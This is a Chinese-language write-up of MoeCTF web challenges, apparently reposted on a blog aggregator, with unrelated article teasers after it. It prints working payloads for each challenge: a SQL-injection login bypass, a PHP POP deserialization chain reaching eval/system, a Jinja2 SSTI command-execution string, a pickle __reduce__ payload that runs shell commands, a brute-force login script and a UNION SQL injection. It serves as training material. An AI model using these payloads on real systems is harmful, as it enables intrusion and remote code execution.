moectf-Web题解

1、弗拉格之地的入口

2、垫刀之路01: MoeCTF?启动!

3、ez_http

4、ProveYourLove

5、弗拉格之地的挑战

6、ImageCloud前置

7、垫刀之路02: 普通的文件上传

8、垫刀之路03: 这是一个图床

9、垫刀之路05: 登陆网站

10、垫刀之路06: pop base mini moe

11、垫刀之路07: 泄漏的密码

12、垫刀之路04: 一个文件浏览器

13、静态网页

14、电院_Backend

考点:目录爆破+万能密码

首先尝试目录爆破,发现后台admin

 进入后台

尝试万能密码破解 ,得到flag。

2199029061@qq.com' || true #

15、pop moe

考点:Python反序列化

首先分析代码 

<?phpclass class000 {private $payl0ad = 0;protected $what;public function __destruct(){$this->check();}public function check(){if($this->payl0ad === 0){die('FAILED TO ATTACK');}$a = $this->what;$a();}
}class class001 {public $payl0ad;public $a;public function __invoke(){$this->a->payload = $this->payl0ad;}
}class class002 {private $sec;public function __set($a, $b){$this->$b($this->sec);}public function dangerous($whaattt){$whaattt->evvval($this->sec);}}class class003 {public $mystr;public function evvval($str){eval($str);}public function __tostring(){return $this->mystr;}
}if(isset($_GET['data']))
{$a = unserialize($_GET['data']);
}
else {highlight_file(__FILE__);
}

该方法接收GET方法,通过参数data传递。

        该class000对象销毁时,会调用check函数,要想成功执行,则pay10ad必须为非0,而且a变量必须可以作为函数调用,则必须赋值class001。

        该class001对象会向a对象的payload变量进行赋值,则我们可以想到set魔术方法,也就是说a必须赋值class002对象。

        该class002对象带有set函数,其中set传参b,必须是一个函数可以调用,则我们可以想到可以传递dangerous()函数,而dangerous要调用what变量的evvval方法,则what应该赋值class003。

         该class003对象,带有eval函数。也就是说$str应该传递执行系统命令的代码,这里有toString魔术方法,会返回mystr的值,那么则可以给mystr赋值系统命令,而class002的sec变量可以赋值class003,这样当class003被当成字符串的时候,会返回mystr变量的值。

所以总结写出pop反序列化链,代码如下:

<?phpclass class000 {private $payl0ad = '0';protected $what;//函数对象class01public function __construct($x){$this->what=$x;}public function __destruct()//入口{$this->check();}public function check(){if($this->payl0ad === 0){die('FAILED TO ATTACK');}$a = $this->what;$a();}
}class class001 {public $payl0ad="dangerous";public $a;//赋值class2public function __construct($x){$this->a=$x;}public function __invoke(){$this->a->payload = $this->payl0ad;//调用set方法}
}class class002 {private $sec;public function __construct($x){$this->sec=$x;}public function __set($a, $b){//echo $this->$b;$this->$b($this->sec);}public function dangerous($whaattt){$whaattt->evvval($this->sec);//调用类class003的函数,}}class class003 {public $mystr='system("set");';public function evvval($str){eval($str);}public function __tostring(){return $this->mystr;}
}
$class3=new class003();
$class2=new class002($class3);
$class1=new class001($class2);
$class0=new class000($class1);echo urlencode(serialize($class0));
//echo serialize($class0);?>

16、勇闯铜人阵

考点:Requset库

该题写脚本进行爬取,模拟用户输入请求。 

import requests
from lxml import html
url="http://127.0.0.1:58591/"
session=requests.Session()
data1={'player':1,'direct':'弟子明白'
}
d1=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]
d2=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]
a=[1,2,3,4,5,6,7,8]
r=session.post(url,data=data1)
data_html=html.fromstring(r.text)
b=data_html.xpath('/html/body/h1[2]/text()')strs=b[0].strip()
n=5
while(n):if len(strs)==1:data={'player':1,'direct':str(d1[int(strs)-1])}else :len(strs)data = {'player': 1,'direct': str(d2[int(strs[0])-1]+','+d2[int(strs[len(strs)-1])-1])}print(data)r = session.post(url, data=data)print(r.text)data_html=html.fromstring(r.text)b=data_html.xpath('/html/body/h1[2]/text()')strs=b[0].strip()print(strs)n=n-1    

17、从零开始的 XDU 教书生活

考点:Request库

        主要就是要利用python的Request库,来模拟登录,和访问签到页面,用户的密码和账号涉及加密AES,需要编写对应的加密函数,可以从js脚本中获得(将JS代码转换python代码)。

import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad  
def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:key_bytes = key.encode("utf-8")iv_bytes = iv.encode("utf-8")cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)encrypted_bytes = base64.b64decode(encrypted)decrypted_bytes = cipher.decrypt(encrypted_bytes)pad = decrypted_bytes[-1]decrypted_bytes = decrypted_bytes[:-pad]decrypted = decrypted_bytes.decode("utf-8")return decrypteddef encrypt_by_aes(message: str, key: str) -> str:  # 将密钥和消息转换为字节  key_bytes = key.encode("utf-8")  # 假设密钥是UTF-8字符串  message_bytes = message.encode("utf-8")  # 创建AES加密器,使用CBC模式  cipher = AES.new(key_bytes, AES.MODE_CBC, iv=key_bytes)  # 对消息进行填充  padded_message = pad(message_bytes, AES.block_size)  # 执行加密  encrypted_bytes = cipher.encrypt(padded_message)  # 返回Base64编码的加密数据  return base64.b64encode(encrypted_bytes).decode("utf-8")f=open("1.txt", "r") 
lines=[]
for i in f.readlines():lines.append(i.strip('\n'))    #去掉列表中每一个元素的换行符sesstion = requests.Session()
key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"
n=0
for i in lines:n+=1pwd=iphone=pwdAEStext=encrypt_by_aes(phone,key)datas={'uname':AEStext,'password':AEStext,'t':"true"}res=sesstion.post("http://127.0.0.1:50979/fanyalogin",data=datas)print(sesstion.cookies)res=sesstion.get("http://127.0.0.1:50979/widget/sign/e?id=4000000000000&c=3774046904159&enc=9B3C4EE89853011BC957F8C80F269B26&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id")print(res.text)print("进度:"+str(n)+'/1024') 
# 9084575# 8687191# 3060289# 6199440# 1124453

18、who's blog?

考点:SSTI注入

{% for i in ().__class__.__base__.__subclasses__()%}{% if '_ModuleLock'== i.__name__ %}{{i.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}{% endif %}{% endfor %}

19、ImageCloud

考点:暴力破解+源码审计

        从app2.py的代码里可以知道,该代码跑在5000-6000端口号上,从文件结构和代码可以想到通过app2.py文件访问uploads文件夹,即可得到flag。 

访问即可得到flag 

20、PetStore

考点:Pickle反序列化

Pickle反序列化时,会自动调用魔术方法__reduce__,该方法返回一个元组,可以执行任意代码,这里我采用将系统执行的结果反射到store的pets的值进行覆盖输出。

import pickle
import base64
import uuid
class Pet:def __init__(self, name, species) -> None:self.name = nameself.species = speciesself.uuid = uuid.uuid4()def __repr__(self) -> str:return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"
class PetStore:def __init__(self) -> None:self.pets = []def create_pet(self, name, species) -> None:pet = Pet(name, species)self.pets.append(pet)def get_pet(self, pet_uuid) -> Pet :for pet in self.pets:if str(pet.uuid) == pet_uuid:return petreturn Nonedef export_pet(self, pet_uuid) -> str :pet = self.get_pet(pet_uuid)if pet is not None:self.pets.remove(pet)serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")return serialized_petreturn Nonedef import_pet(self, serialized_pet) -> bool:try:pet_data = base64.b64decode(serialized_pet)pet = pickle.loads(pet_data)if isinstance(pet, Pet):for i in self.pets:if i.uuid == pet.uuid:return Falseself.pets.append(pet)return Truereturn Falseexcept Exception:return Falsestore = PetStore()class A:def __reduce__(self):return (exec,("store.create_pet(__import__('os').popen('echo $FLAG').read(),1)",))pet = A()
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
print(serialized_pet)
pet_data = base64.b64decode(serialized_pet)
repet=pickle.loads(pet_data)
# FLAG='moectf{StARRyM30W'"'"'s-FL@g_hA5-been_@CC3Pt3d-4CAc4c@C2c}'
print(store.pets)

 引入base64的pickle的序列串,如下,然后刷新网页,即可得到flag。

gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw/c3RvcmUuY3JlYXRlX3BldChfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlY2hvICRGTEFHJykucmVhZCgpLDEplIWUUpQu

21、smbms

考点:弱密码+SQL注入

        从附件的.sql文件中获取账号,和弱认证的问题,然后我们尝试弱密码爆破,得到管理员密码1234567。

进入系统后,发现只有用户管理这个 页面的搜索功能可以使用,尝试源代码审计。

代码审计,找到查询用户的逻辑代码,发现存在字符串拼接,则存在SQL注入漏洞。

尝试联合注入,得到flag。

邓超%' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,flag from flag limit ?,? -- 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/54855.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java值传递、序列化详解

Java 值传递详解 说到参数&#xff0c;我们先来搞懂一下这两个概念 形参&实参 值传递&引用传递 形参&实参 方法的定义可能会用到 参数&#xff08;有参的方法&#xff09;&#xff0c;参数在程序语言中分为&#xff1a; 实参&#xff08;实际参数&#xff0c;…

QT实现Opencv图像处理

案例 基于QT的人脸识别 pro文件需要加以下代码 INCLUDEPATH E:/opencv/opencv3.4-qt-intall/install/include INCLUDEPATH E:/opencv/opencv3.4-qt-intall/install/include/opencv INCLUDEPATH E:/opencv/opencv3.4-qt-intall/install/include/opencv2 LIBS E:/opencv/o…

D34【python 接口自动化学习】- python基础之输入输出与文件操作

day34 文件关闭 学习日期&#xff1a;20241011 学习目标&#xff1a;输入输出与文件操作&#xfe63;-46 常见常新&#xff1a;文件的关闭 学习笔记&#xff1a; 文件关闭的内部工作过程 close&#xff08;&#xff09;函数 with语句 常用的打开关闭文件 # 文件关闭 # 方式…

值类型和引用类型的使用

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace ConsoleApp1 {class Program{static void Main(string[] args){/****值类型****/bool test;//必须赋值,否则报错test true;Console.WriteLin…

微服务_3.微服务保护

文章目录 一、微服务雪崩及解决方法1.1、超时处理1.2、仓壁模式1.3、断路器1.4、限流 二、Sentinel2.1、流量控制2.1.1、普通限流2.1.2、热点参数限流 2.2、线程隔离2.3、熔断降级2.3.1、断路器状态机2.3.2、断路器熔断策略2.3.2.1、慢调用2.3.2.2、异常比例&#xff0c;异常数…

Observability:使用 OpenTelemetry 自动检测 Go 应用程序

作者&#xff1a;来自 Elastic Damien Mathieu 使用 OpenTelemetry 检测 Go 应用程序可以深入了解应用程序的性能、依赖项和错误。我们将向你展示如何使用 Docker 自动检测 Go 应用程序&#xff0c;而无需更改应用程序代码。 在快节奏的软件开发领域&#xff0c;尤其是在云原生…

【每日刷题】Day137

【每日刷题】Day137 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. 1576. 替换所有的问号 - 力扣&#xff08;LeetCode&#xff09; 2. 495. 提莫攻击 - 力扣&#xf…

vrrp实验

配置Trunk和Access [SW3]int e0/0/1 [SW3-Ethernet0/0/1]p l a [SW3-Ethernet0/0/1]p d v 10 [SW3-Ethernet0/0/1]int e0/0/2 [SW3-Ethernet0/0/2]p l a [SW3-Ethernet0/0/2]p d v 10 [SW3-Ethernet0/0/2]int e0/0/3 [SW3-Ethernet0/0/3]p l a [SW3-Ethernet0/0/3]p d v 20 [S…

Linux——软件包管理

目录 rpm 包管理 基本介绍 rpm 包的查询指令 ​编辑 rpm 包的卸载和安装 yum rpm 包管理 基本介绍 rpm 包的查询指令 rpm 包的卸载和安装 yum

STM32F407寄存器操作(DMA+SPI)

1.前言 前面看B站中有些小伙伴吐槽F4的SPIDMA没有硬件可控的CS引脚&#xff0c;那么今天我就来攻破这个问题 我这边暂时没有SPI的从机芯片&#xff0c;并且接收的过程与发送的过程类似&#xff0c;所以这里我就以发送的过程为例了。 2.理论 手册上给出了如下的描述 我们关注…

【动手学深度学习】5.2 参数管理(个人向笔记+代码注释)

之前的课程中&#xff0c;我们只是通过深度学习框架完成训练的工作&#xff0c;而忽略了操作参数的具体细节。所以我们我们介绍的内容有&#xff1a; 访问参数&#xff0c;用于调试&#xff0c;诊断和可视化参数初始化在不同的模型组件间共享参数 下面是一个有单隐藏层的多层感…

如何把视频变成自己的原创?提升视频原创度的7个技巧

在短视频平台发布作品时&#xff0c;时常因为原创问题&#xff0c;而被限流。如何在海量视频中脱颖而出&#xff0c;让自己的作品具有独特性和原创性&#xff0c;是每位创作者都需要思考的问题。本文将详细介绍如何通过一系列前期准备和后期处理技巧&#xff0c;将视频素材转化…

模版进阶 非类型模版参数

一.模板参数分类类型形参与非类型形参。 类型形参即&#xff1a;出现在模板参数列表中&#xff0c;跟在class或者typename之类的参数类型名称。 非类型形参&#xff0c;就是用一个常量作为类(函数)模板的一个参数&#xff0c;在类(函数)模板中可将该参数当成常量来使用。 #i…

乌班图基础设施安装之Mysql8.0+Redis6.X安装

简介&#xff1a;云服务器基础设施安装之 Mysql8.0Redis6.X 安装 Docker安装 # 按照依赖 yum install -y yum-utils device-mapper-persistent data lvm2 Docker Mirror 从去年开始. hub.docker.com[1] 在国内的访问速度极慢. 当时大家主要还是依赖国内的一些镜像源: 如中科…

操作系统 | 学习笔记 | 王道 | 4.3 文件系统

4.3 文件系统 4.3.1 文件系统结构 文件系统(File system)提供高效和便捷的磁盘访问&#xff0c;以便允许存储、定位、提取数据。 用一个例子来辅助记忆文件系统的层次结构&#xff1a; 假设某用户请求删除文件"D:/工作目录/学生信息.xIsx"的最后100条记录。 用户需…

在 Windows 11 安卓子系统中安装 APK 的操作指南

这个软件好像不可以在纯android系统中使用&#xff08;不知道是缺了什么&#xff09;&#xff0c;其他对于android的虚拟机要不缺少必要功能组件&#xff0c;要不性能过于低下。本方法致力于在带有谷歌框架WSA中运行该APK 在 Windows 11 安卓子系统中安装 APK 的操作指南 本指…

消息摘要算法

算法特点 a) 消息摘要算法/单向散列函数/哈希函数 b) 不同长度的输入&#xff0c;产生固定长度的输出 c) 散列后的密文不可逆 d) 散列后的结果唯一 e) 哈希碰撞 f) 一般用于校验数据完整性、签名sign 由于密文不可逆&#xff0c;所以服务端也无法解密 想要验证&#xf…

前端 | Uncaught (in promise) undefined

前端 | Uncaught (in promise) undefined 最近开发运行前端项目时&#xff0c;经常预计控制台报错 &#xff0c;如下图&#xff1a; 这里我总结下&#xff0c;这种报错的场景和原因&#xff0c;并通过实际代码案例帮助小伙伴更好理解下 。 文章目录 前端 | Uncaught (in promi…

若依前端后打成一个JAR包部署

客户需要将项目前后端作为一个整体打包成jar&#xff0c;不使用nginx方式转发。使用框架是若依前后端分离&#xff0c;后端springboot&#xff0c;前端vue&#xff0c;目的就是把vue打入jar。 一、前端修改 ruoyi-ui/src/router/index.js文件 &#xff0c;将 mode: ‘history’…

vue-jsonp的使用和腾讯地图当前经纬度和位置详情的获取

1.下载&#xff1a; npm install –save vue-jsonp2.main.js中引入&#xff1a; //腾讯逆地址解析会用到jsonp import {VueJsonp} from vue-jsonp; Vue.use(VueJsonp);3.腾讯地图中使用 uniapp中获取*经纬度*和通过经纬度获取当前**位置详情** //获取当前经纬度 getLocation…